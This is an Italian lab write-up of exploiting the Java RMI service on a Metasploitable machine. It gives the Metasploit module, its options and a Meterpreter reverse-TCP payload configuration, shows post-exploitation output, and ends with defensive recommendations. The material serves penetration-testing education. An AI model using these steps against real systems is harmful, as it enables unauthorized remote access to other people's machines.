



# EXPLOIT DI JAVARMI

In questo esercizio, ci concentreremo sull'exploit di un servizio vulnerabile esposto sulla porta 1099 della macchina Metasploitable.

Il servizio in questione è Java RMI, un framework Java che consente la chiamata di metodi remoti su un altro host.

Grazie a questa vulnerabilità, è possibile ottenere una sessione di Meterpreter utilizzando Metasploit.

## Descrizione del Servizio

Java RMI è una tecnologia che consente a un programma Java di invocare metodi che risiedono su un'altra macchina. Questa funzionalità è utile per distribuire applicazioni Java su più nodi di una rete. Tuttavia, se non configurato correttamente, il servizio RMI può esporre vulnerabilità che possono essere sfruttate da malintenzionati.

# PROCEDURA DI EXPLOIT

Per sfruttare la vulnerabilità usiamo Metasploit, lo facciamo con il comando: **msfconsole**

Nel console di Metasploit, carichiamo il modulo specifico per il servizio Java RMI:

**use exploit/multi/misc/java\_rmi\_server**

Configuriamo i parametri necessari per l'exploit, come l'indirizzo IP della macchina target e la porta:

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
=====
Name      Current Setting  Required  Description
HTTPDELAY  20             yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   -               no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   -               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
=====
Name      Current Setting  Required  Description
LHOST    192.168.11.111   yes       The listen address (an interface may be specified)
LPORT    4444            yes       The listen port

Exploit target:
=====
Id  Name
--  --
0  Generic (Java Payload)

View the full module info with the info, or info -d command.
```

**set RHOST  
192.168.11.112**  
**set RPORT 1099**  
**set LHOST 192.168.11.111**  
**set HTTPDELAY 20**

e con il comando  
**show options**  
controlliamo se è tutto  
settato correttamente



```
meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fea8:fd4
IPv6 Netmask : ::

meterpreter > route
IPv4 network routes
=====
Subnet      Netmask     Gateway   Metric  Interface
---  ---  ---  ---  ---
127.0.0.1  255.0.0.0  0.0.0.0  0.0.0.0  eth0
192.168.11.112  255.255.255.0  0.0.0.0  0.0.0.0  eth0

IPv6 network routes
=====
Subnet      Netmask     Gateway   Metric  Interface
---  ---  ---  ---  ---
::1        ::          ::        0.0.0.0  lo
fe80::a00:27ff:fea8:fd4  ::          ::        0.0.0.0  eth0
```

Infine eseguiamo l'exploite con **exploit**. Metasploit tenterà di sfruttare la vulnerabilità nel servizio Java RMI per ottenere una connessione di sulla macchina Metasploitable.

Se l'exploit ha successo, otterremo una sessione di Meterpreter, questo ci permetterà di eseguire comandi sulla macchina come se fossimo utenti locali.

Per controllare se ho ottenuto l'accesso ho eseguito i comandi: **ifconfig** e **route**, avendo così la conferma della riuscita dell'exploite.

# CONCLUSIONI

Questo esercizio ha evidenziato l'importanza di mantenere i servizi aggiornati e di applicare misure di sicurezza adeguate per prevenire exploit simili.

Ottenere una sessione Meterpreter rappresenta un rischio per la sicurezza che evidenzia la necessità di monitoraggio e difesa costanti da tali attacchi.

Raccomandazioni:

**Aggiornamento dei Servizi:** Assicurarsi che tutti i servizi siano aggiornati con le ultime patch di sicurezza.

**Firewall e Controlli di Accesso:** Implementare firewall e controlli di accesso per limitare l'esposizione di servizi critici.

**Monitoraggio delle Attività di Rete:** Utilizzare strumenti di monitoraggio per rilevare attività sospette.